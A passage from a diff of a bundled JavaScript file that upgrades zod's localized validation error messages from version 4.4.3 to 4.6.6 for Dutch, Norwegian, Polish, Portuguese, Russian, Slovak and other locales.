"\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F"; + case "invalid_element": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u092E\u093E\u0928: ${issue2.origin} \u092E\u093E`; + default: + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F`; + } + }; +}; +function ne_default() { + return { + localeError: error36() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/nl.js +var error37 = () => { const Sizable = { string: { unit: "tekens", verb: "heeft" }, file: { unit: "bytes", verb: "heeft" }, array: { unit: "elementen", verb: "heeft" }, - set: { unit: "elementen", verb: "heeft" } + set: { unit: "elementen", verb: "heeft" }, + map: { unit: "elementen", verb: "heeft" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62836,12 +64675,16 @@ var error31 = () => { duration: "ISO duur", ipv4: "IPv4-adres", ipv6: "IPv6-adres", + mac: "MAC-adres", cidrv4: "IPv4-bereik", cidrv6: "IPv6-bereik", base64: "base64-gecodeerde tekst", base64url: "base64 URL-gecodeerde tekst", json_string: "JSON string", e164: "E.164-nummer", + credit_card: "creditcardnummer", + currency_code: "valutacode", + iban: "IBAN", jwt: "JWT", template_literal: "invoer" }; @@ -62911,17 +64754,132 @@ var error31 = () => { }; function nl_default() { return { - localeError: error31() + localeError: error37() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/no.js -var error32 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/nn.js +var error38 = () => { + const Sizable = { + string: { unit: "teikn", verb: "\xE5 ha" }, + file: { unit: "bytes", verb: "\xE5 ha" }, + array: { unit: "element", verb: "\xE5 innehalde" }, + set: { unit: "element", verb: "\xE5 innehalde" }, + map: { unit: "element", verb: "\xE5 innehalde" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "input", + email: "e-postadresse", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO dato- og klokkeslett", + date: "ISO-dato", + time: "ISO-klokkeslett", + duration: "ISO-varigheit", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", + cidrv4: "IPv4-spekter", + cidrv6: "IPv6-spekter", + base64: "base64-enkoda streng", + base64url: "base64url-enkoda streng", + json_string: "JSON-streng", + e164: "E.164-nummer", + credit_card: "kredittkortnummer", + currency_code: "valutakode", + iban: "IBAN", + jwt: "JWT", + template_literal: "input" + }; + const TypeDictionary = { + nan: "NaN", + number: "tal", + array: "liste" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Ugyldig input: forventa instanceof ${issue2.expected}, fekk ${received}`; + } + return `Ugyldig input: forventa ${expected}, fekk ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Ugyldig verdi: forventa ${stringifyPrimitive(issue2.values[0])}`; + return `Ugyldig val: forventa eitt av ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `For stor(t): forventa ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `For stor(t): forventa ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `For lite(n): forventa ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `For lite(n): forventa ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Ugyldig streng: m\xE5 starte med "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Ugyldig streng: m\xE5 slutte med "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Ugyldig streng: m\xE5 innehalde "${_issue.includes}"`; + if (_issue.format === "regex") + return `Ugyldig streng: m\xE5 matche m\xF8nsteret ${_issue.pattern}`; + return `Ugyldig ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Ugyldig tal: m\xE5 vere eit multiplum av ${issue2.divisor}`; + case "unrecognized_keys": + return `${issue2.keys.length > 1 ? "Ukjende n\xF8klar" : "Ukjend n\xF8kkel"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Ugyldig n\xF8kkel i ${issue2.origin}`; + case "invalid_union": + return "Ugyldig input"; + case "invalid_element": + return `Ugyldig verdi i ${issue2.origin}`; + default: + return `Ugyldig input`; + } + }; +}; +function nn_default() { + return { + localeError: error38() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/no.js +var error39 = () => { const Sizable = { string: { unit: "tegn", verb: "\xE5 ha" }, file: { unit: "bytes", verb: "\xE5 ha" }, array: { unit: "elementer", verb: "\xE5 inneholde" }, - set: { unit: "elementer", verb: "\xE5 inneholde" } + set: { unit: "elementer", verb: "\xE5 inneholde" }, + map: { unit: "elementer", verb: "\xE5 inneholde" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62945,14 +64903,18 @@ var error32 = () => { date: "ISO-dato", time: "ISO-klokkeslett", duration: "ISO-varighet", - ipv4: "IPv4-omr\xE5de", - ipv6: "IPv6-omr\xE5de", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", cidrv4: "IPv4-spekter", cidrv6: "IPv6-spekter", base64: "base64-enkodet streng", base64url: "base64url-enkodet streng", json_string: "JSON-streng", e164: "E.164-nummer", + credit_card: "kredittkortnummer", + currency_code: "valutakode", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -63020,17 +64982,18 @@ var error32 = () => { }; function no_default() { return { - localeError: error32() + localeError: error39() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ota.js -var error33 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ota.js +var error40 = () => { const Sizable = { string: { unit: "harf", verb: "olmal\u0131d\u0131r" }, file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, array: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, - set: { unit: "unsur", verb: "olmal\u0131d\u0131r" } + set: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, + map: { unit: "unsur", verb: "olmal\u0131d\u0131r" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63056,12 +65019,16 @@ var error33 = () => { duration: "ISO m\xFCddeti", ipv4: "IPv4 ni\u015F\xE2n\u0131", ipv6: "IPv6 ni\u015F\xE2n\u0131", + mac: "MAC ni\u015F\xE2n\u0131", cidrv4: "IPv4 menzili", cidrv6: "IPv6 menzili", base64: "base64-\u015Fifreli metin", base64url: "base64url-\u015Fifreli metin", json_string: "JSON metin", e164: "E.164 say\u0131s\u0131", + credit_card: "i'tib\xE2r kart\u0131 numaras\u0131", + currency_code: "para birimi kodu", + iban: "IBAN", jwt: "JWT", template_literal: "giren" }; @@ -63130,17 +65097,18 @@ var error33 = () => { }; function ota_default() { return { - localeError: error33() + localeError: error40() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ps.js -var error34 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ps.js +var error41 = () => { const Sizable = { string: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, file: { unit: "\u0628\u0627\u06CC\u067C\u0633", verb: "\u0648\u0644\u0631\u064A" }, array: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, - set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } + set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, + map: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63166,12 +65134,16 @@ var error34 = () => { duration: "\u0645\u0648\u062F\u0647", ipv4: "\u062F IPv4 \u067E\u062A\u0647", ipv6: "\u062F IPv6 \u067E\u062A\u0647", + mac: "\u062F MAC \u067E\u062A\u0647", cidrv4: "\u062F IPv4 \u0633\u0627\u062D\u0647", cidrv6: "\u062F IPv6 \u0633\u0627\u062D\u0647", base64: "base64-encoded \u0645\u062A\u0646", base64url: "base64url-encoded \u0645\u062A\u0646", json_string: "JSON \u0645\u062A\u0646", e164: "\u062F E.164 \u0634\u0645\u06D0\u0631\u0647", + credit_card: "\u062F \u06A9\u0631\u06CC\u0689\u06CC\u067C \u06A9\u0627\u0631\u062A \u0634\u0645\u06CC\u0631\u0647", + currency_code: "\u062F \u0627\u0633\u0639\u0627\u0631\u0648 \u06A9\u0648\u0689", + iban: "IBAN", jwt: "JWT", template_literal: "\u0648\u0631\u0648\u062F\u064A" }; @@ -63245,17 +65217,18 @@ var error34 = () => { }; function ps_default() { return { - localeError: error34() + localeError: error41() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pl.js -var error35 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pl.js +var error42 = () => { const Sizable = { string: { unit: "znak\xF3w", verb: "mie\u0107" }, file: { unit: "bajt\xF3w", verb: "mie\u0107" }, array: { unit: "element\xF3w", verb: "mie\u0107" }, - set: { unit: "element\xF3w", verb: "mie\u0107" } + set: { unit: "element\xF3w", verb: "mie\u0107" }, + map: { unit: "element\xF3w", verb: "mie\u0107" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63281,12 +65254,16 @@ var error35 = () => { duration: "czas trwania ISO", ipv4: "adres IPv4", ipv6: "adres IPv6", + mac: "adres MAC", cidrv4: "zakres IPv4", cidrv6: "zakres IPv6", base64: "ci\u0105g znak\xF3w zakodowany w formacie base64", base64url: "ci\u0105g znak\xF3w zakodowany w formacie base64url", json_string: "ci\u0105g znak\xF3w w formacie JSON", e164: "liczba E.164", + credit_card: "numer karty kredytowej", + currency_code: "kod waluty", + iban: "IBAN", jwt: "JWT", template_literal: "wej\u015Bcie" }; @@ -63355,121 +65332,301 @@ var error35 = () => { }; function pl_default() { return { - localeError: error35() + localeError: error42() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pt.js -var error36 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pt.js +var error43 = () => { const Sizable = { - string: { unit: "caracteres", verb: "ter" }, - file: { unit: "bytes", verb: "ter" }, - array: { unit: "itens", verb: "ter" }, - set: { unit: "itens", verb: "ter" } + string: { unit: "caracteres" }, + file: { unit: "bytes" }, + array: { unit: "elementos" }, + set: { unit: "elementos" }, + map: { unit: "entradas" } }; function getSizing(origin) { return Sizable[origin] ?? null; } const FormatDictionary = { - regex: "padr\xE3o", - email: "endere\xE7o de e-mail", - url: "URL", - emoji: "emoji", - uuid: "UUID", - uuidv4: "UUIDv4", - uuidv6: "UUIDv6", - nanoid: "nanoid", - guid: "GUID", - cuid: "cuid", - cuid2: "cuid2", - ulid: "ULID", - xid: "XID", - ksuid: "KSUID", - datetime: "data e hora ISO", - date: "data ISO", - time: "hora ISO", - duration: "dura\xE7\xE3o ISO", - ipv4: "endere\xE7o IPv4", - ipv6: "endere\xE7o IPv6", - cidrv4: "faixa de IPv4", - cidrv6: "faixa de IPv6", - base64: "texto codificado em base64", - base64url: "URL codificada em base64", - json_string: "texto JSON", - e164: "n\xFAmero E.164", - jwt: "JWT", - template_literal: "entrada" + regex: "a entrada", + email: "o endere\xE7o de e-mail", + url: "o URL", + emoji: "o emoji", + uuid: "o UUID", + uuidv4: "o UUIDv4", + uuidv6: "o UUIDv6", + nanoid: "o nanoid", + guid: "o GUID", + cuid: "o cuid", + cuid2: "o cuid2", + ulid: "o ULID", + xid: "o XID", + ksuid: "o KSUID", + datetime: "a data e hora ISO", + date: "a data ISO", + time: "a hora ISO", + duration: "a dura\xE7\xE3o ISO", + ipv4: "o endere\xE7o IPv4", + ipv6: "o endere\xE7o IPv6", + mac: "o endere\xE7o MAC", + cidrv4: "o intervalo de endere\xE7os IPv4", + cidrv6: "o intervalo de endere\xE7os IPv6", + base64: "o texto codificado em base64", + base64url: "o texto codificado em base64url", + json_string: "o texto JSON", + e164: "o n\xFAmero E.164", + credit_card: "o n\xFAmero de cart\xE3o de cr\xE9dito", + currency_code: "o c\xF3digo de moeda", + iban: "o IBAN", + jwt: "o JWT", + template_literal: "a entrada" + }; + const Gender = { + masculine: { definite: "o", indefinite: "um" }, + feminine: { definite: "a", indefinite: "uma" } }; const TypeDictionary = { - nan: "NaN", - number: "n\xFAmero", - null: "nulo" + string: { name: "texto", articles: Gender.masculine }, + number: { name: "n\xFAmero", articles: Gender.masculine }, + int: { name: "n\xFAmero inteiro", articles: Gender.masculine }, + boolean: { name: "valor booleano", articles: Gender.masculine }, + bigint: { name: "n\xFAmero bigint", articles: Gender.masculine }, + symbol: { name: "s\xEDmbolo", articles: Gender.masculine }, + undefined: { name: 'valor "undefined"', articles: Gender.masculine }, + null: { name: 'valor "nulo"', articles: Gender.masculine }, + never: { name: 'valor "never"', articles: Gender.masculine }, + void: { name: 'valor "void"', articles: Gender.masculine }, + date: { name: "data", articles: Gender.feminine }, + array: { name: "vetor", articles: Gender.masculine }, + object: { name: "objeto", articles: Gender.masculine }, + tuple: { name: "tuplo", articles: Gender.masculine }, + record: { name: "registo", articles: Gender.masculine }, + map: { name: "mapa", articles: Gender.masculine }, + set: { name: "conjunto", articles: Gender.masculine }, + file: { name: "ficheiro", articles: Gender.masculine }, + nonoptional: { name: "valor n\xE3o opcional", articles: Gender.masculine }, + nan: { name: 'valor "NaN"', articles: Gender.masculine }, + // Compatibility: "nan" -> "NaN" for display + function: { name: "fun\xE7\xE3o", articles: Gender.feminine } }; + function translateOriginWithArticle(type, articleType) { + const translatedValue = TypeDictionary[type] ?? { name: `valor "${type}"`, articles: Gender.masculine }; + return `${translatedValue.articles[articleType]} ${translatedValue.name}`; + } return (issue2) => { switch (issue2.code) { case "invalid_type": { - const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const expected = translateOriginWithArticle(issue2.expected, "indefinite"); const receivedType = parsedType(issue2.input); - const received = TypeDictionary[receivedType] ?? receivedType; - if (/^[A-Z]/.test(issue2.expected)) { - return `Tipo inv\xE1lido: esperado instanceof ${issue2.expected}, recebido ${received}`; - } - return `Tipo inv\xE1lido: esperado ${expected}, recebido ${received}`; + const received = translateOriginWithArticle(receivedType, "indefinite"); + return `Entrada inv\xE1lida: esperava ${expected}, recebeu ${received}`; } case "invalid_value": if (issue2.values.length === 1) - return `Entrada inv\xE1lida: esperado ${stringifyPrimitive(issue2.values[0])}`; - return `Op\xE7\xE3o inv\xE1lida: esperada uma das ${joinValues(issue2.values, "|")}`; + return `Entrada inv\xE1lida: esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperava uma das seguintes op\xE7\xF5es: ${joinValues(issue2.values, "|")}`; case "too_big": { const adj = issue2.inclusive ? "<=" : "<"; const sizing = getSizing(issue2.origin); if (sizing) - return `Muito grande: esperado que ${issue2.origin ?? "valor"} tivesse ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; - return `Muito grande: esperado que ${issue2.origin ?? "valor"} fosse ${adj}${issue2.maximum.toString()}`; + return `Demasiado grande: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Demasiado grande: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.maximum.toString()}`; } case "too_small": { const adj = issue2.inclusive ? ">=" : ">"; const sizing = getSizing(issue2.origin); if (sizing) { - return `Muito pequeno: esperado que ${issue2.origin} tivesse ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + return `Demasiado pequeno: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.minimum.toString()} ${sizing.unit ?? "elementos"}`; } - return `Muito pequeno: esperado que ${issue2.origin} fosse ${adj}${issue2.minimum.toString()}`; + return `Demasiado pequeno: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.minimum.toString()}`; } case "invalid_format": { const _issue = issue2; if (_issue.format === "starts_with") + return `Texto inv\xE1lido: deve come\xE7ar por "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Texto inv\xE1lido: deve terminar em "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; + if (_issue.format === "regex") + return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; + return `Formato d${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + } + case "not_multiple_of": + return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; + case "unrecognized_keys": { + const plural2 = issue2.keys.length > 1 ? "s" : ""; + return `Chave${plural2} inv\xE1lida${plural2}: ${joinValues(issue2.keys, ", ")}`; + } + case "invalid_key": + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Valor de discrimina\xE7\xE3o inv\xE1lido. Esperava ${opts}`; + } + return "Entrada inv\xE1lida"; + case "invalid_element": + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; + default: + return `Entrada inv\xE1lida`; + } + }; +}; +function pt_default() { + return { + localeError: error43() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pt-BR.js +var error44 = () => { + const Sizable = { + string: { unit: "caracteres" }, + file: { unit: "bytes" }, + array: { unit: "elementos" }, + set: { unit: "elementos" }, + map: { unit: "entradas" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "a entrada", + email: "o endere\xE7o de e-mail", + url: "o URL", + emoji: "o emoji", + uuid: "o UUID", + uuidv4: "o UUIDv4", + uuidv6: "o UUIDv6", + nanoid: "o nanoid", + guid: "o GUID", + cuid: "o cuid", + cuid2: "o cuid2", + ulid: "o ULID", + xid: "o XID", + ksuid: "o KSUID", + datetime: "a data e hora ISO", + date: "a data ISO", + time: "a hora ISO", + duration: "a dura\xE7\xE3o ISO", + ipv4: "o endere\xE7o IPv4", + ipv6: "o endere\xE7o IPv6", + mac: "o endere\xE7o MAC", + cidrv4: "a faixa de endere\xE7os IPv4", + cidrv6: "a faixa de endere\xE7os IPv6", + base64: "o texto codificado em base64", + base64url: "o texto codificado em base64url", + json_string: "o texto JSON", + e164: "o n\xFAmero E.164", + credit_card: "o n\xFAmero de cart\xE3o de cr\xE9dito", + currency_code: "o c\xF3digo de moeda", + iban: "o IBAN", + jwt: "o JWT", + template_literal: "a entrada" + }; + const Gender = { + masculine: { definite: "o", indefinite: "um" }, + feminine: { definite: "a", indefinite: "uma" } + }; + const TypeDictionary = { + string: { name: "texto", articles: Gender.masculine }, + number: { name: "n\xFAmero", articles: Gender.masculine }, + int: { name: "n\xFAmero inteiro", articles: Gender.masculine }, + boolean: { name: "valor booleano", articles: Gender.masculine }, + bigint: { name: "n\xFAmero bigint", articles: Gender.masculine }, + symbol: { name: "s\xEDmbolo", articles: Gender.masculine }, + undefined: { name: 'valor "undefined"', articles: Gender.masculine }, + null: { name: 'valor "nulo"', articles: Gender.masculine }, + never: { name: 'valor "never"', articles: Gender.masculine }, + void: { name: 'valor "void"', articles: Gender.masculine }, + date: { name: "data", articles: Gender.feminine }, + array: { name: "vetor", articles: Gender.masculine }, + object: { name: "objeto", articles: Gender.masculine }, + tuple: { name: "tupla", articles: Gender.feminine }, + record: { name: "registro", articles: Gender.masculine }, + map: { name: "mapa", articles: Gender.masculine }, + set: { name: "conjunto", articles: Gender.masculine }, + file: { name: "arquivo", articles: Gender.masculine }, + nonoptional: { name: "valor n\xE3o opcional", articles: Gender.masculine }, + nan: { name: 'valor "NaN"', articles: Gender.masculine }, + // Compatibility: "nan" -> "NaN" for display + function: { name: "fun\xE7\xE3o", articles: Gender.feminine } + }; + function translateOriginWithArticle(type, articleType) { + const translatedValue = TypeDictionary[type] ?? { name: `valor "${type}"`, articles: Gender.masculine }; + return `${translatedValue.articles[articleType]} ${translatedValue.name}`; + } + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = translateOriginWithArticle(issue2.expected, "indefinite"); + const receivedType = parsedType(issue2.input); + const received = translateOriginWithArticle(receivedType, "indefinite"); + return `Entrada inv\xE1lida: esperava ${expected}, recebeu ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Entrada inv\xE1lida: esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperava uma das seguintes op\xE7\xF5es: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Grande demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Grande demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Pequeno demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.minimum.toString()} ${sizing.unit ?? "elementos"}`; + } + return `Pequeno demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { return `Texto inv\xE1lido: deve come\xE7ar com "${_issue.prefix}"`; + } if (_issue.format === "ends_with") return `Texto inv\xE1lido: deve terminar com "${_issue.suffix}"`; if (_issue.format === "includes") return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; if (_issue.format === "regex") return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; - return `${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + return `Formato d${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; } case "not_multiple_of": return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; - case "unrecognized_keys": - return `Chave${issue2.keys.length > 1 ? "s" : ""} desconhecida${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "unrecognized_keys": { + const plural2 = issue2.keys.length > 1 ? "s" : ""; + return `Chave${plural2} inv\xE1lida${plural2}: ${joinValues(issue2.keys, ", ")}`; + } case "invalid_key": - return `Chave inv\xE1lida em ${issue2.origin}`; + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Valor de discrimina\xE7\xE3o inv\xE1lido. Esperava ${opts}`; + } return "Entrada inv\xE1lida"; case "invalid_element": - return `Valor inv\xE1lido em ${issue2.origin}`; + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; default: - return `Campo inv\xE1lido`; + return `Entrada inv\xE1lida`; } }; }; -function pt_default() { +function pt_BR_default() { return { - localeError: error36() + localeError: error44() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ro.js -var error37 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ro.js +var error45 = () => { const Sizable = { string: { unit: "caractere", verb: "s\u0103 aib\u0103" }, file: { unit: "octe\u021Bi", verb: "s\u0103 aib\u0103" }, @@ -63508,6 +65665,9 @@ var error37 = () => { base64url: "\u0219ir codat base64url", json_string: "\u0219ir JSON", e164: "num\u0103r E.164", + credit_card: "num\u0103r de card de credit", + currency_code: "cod valutar", + iban: "IBAN", jwt: "JWT", template_literal: "intrare" }; @@ -63584,11 +65744,11 @@ var error37 = () => { }; function ro_default() { return { - localeError: error37() + localeError: error45() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ru.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ru.js function getRussianPlural(count, one, few, many) { const absCount = Math.abs(count); const lastDigit = absCount % 10; @@ -63604,7 +65764,7 @@ function getRussianPlural(count, one, few, many) { } return many; } -var error38 = () => { +var error46 = () => { const Sizable = { string: { unit: { @@ -63637,6 +65797,14 @@ var error38 = () => { many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" }, verb: "\u0438\u043C\u0435\u0442\u044C" + }, + map: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" + }, + verb: "\u0438\u043C\u0435\u0442\u044C" } }; function getSizing(origin) { @@ -63663,12 +65831,16 @@ var error38 = () => { duration: "ISO \u0434\u043B\u0438\u0442\u0435\u043B\u044C\u043D\u043E\u0441\u0442\u044C", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + mac: "MAC \u0430\u0434\u0440\u0435\u0441", cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", base64: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64", base64url: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64url", json_string: "JSON \u0441\u0442\u0440\u043E\u043A\u0430", e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u043E\u0439 \u043A\u0430\u0440\u0442\u044B", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u044B", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0432\u043E\u0434" }; @@ -63741,17 +65913,135 @@ var error38 = () => { }; function ru_default() { return { - localeError: error38() + localeError: error46() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sl.js -var error39 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sk.js +var error47 = () => { + const Sizable = { + string: { unit: "znakov", verb: "ma\u0165" }, + file: { unit: "bajtov", verb: "ma\u0165" }, + array: { unit: "prvkov", verb: "ma\u0165" }, + set: { unit: "prvkov", verb: "ma\u0165" }, + map: { unit: "polo\u017Eiek", verb: "ma\u0165" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regul\xE1rny v\xFDraz", + email: "e-mailov\xE1 adresa", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "d\xE1tum a \u010Das vo form\xE1te ISO", + date: "d\xE1tum vo form\xE1te ISO", + time: "\u010Das vo form\xE1te ISO", + duration: "doba trvania ISO", + ipv4: "IPv4 adresa", + ipv6: "IPv6 adresa", + mac: "MAC adresa", + cidrv4: "rozsah IPv4", + cidrv6: "rozsah IPv6", + base64: "re\u0165azec zak\xF3dovan\xFD vo form\xE1te base64", + base64url: "re\u0165azec zak\xF3dovan\xFD vo form\xE1te base64url", + json_string: "re\u0165azec vo form\xE1te JSON", + e164: "\u010D\xEDslo E.164", + credit_card: "\u010D\xEDslo kreditnej karty", + currency_code: "k\xF3d meny", + iban: "IBAN", + jwt: "JWT", + template_literal: "vstup" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u010D\xEDslo", + string: "re\u0165azec", + function: "funkcia", + array: "pole" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 instanceof ${issue2.expected}, obdr\u017Ean\xE9 ${received}`; + } + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 ${expected}, obdr\u017Ean\xE9 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 ${stringifyPrimitive(issue2.values[0])}`; + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE1 jedna z hodn\xF4t ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return 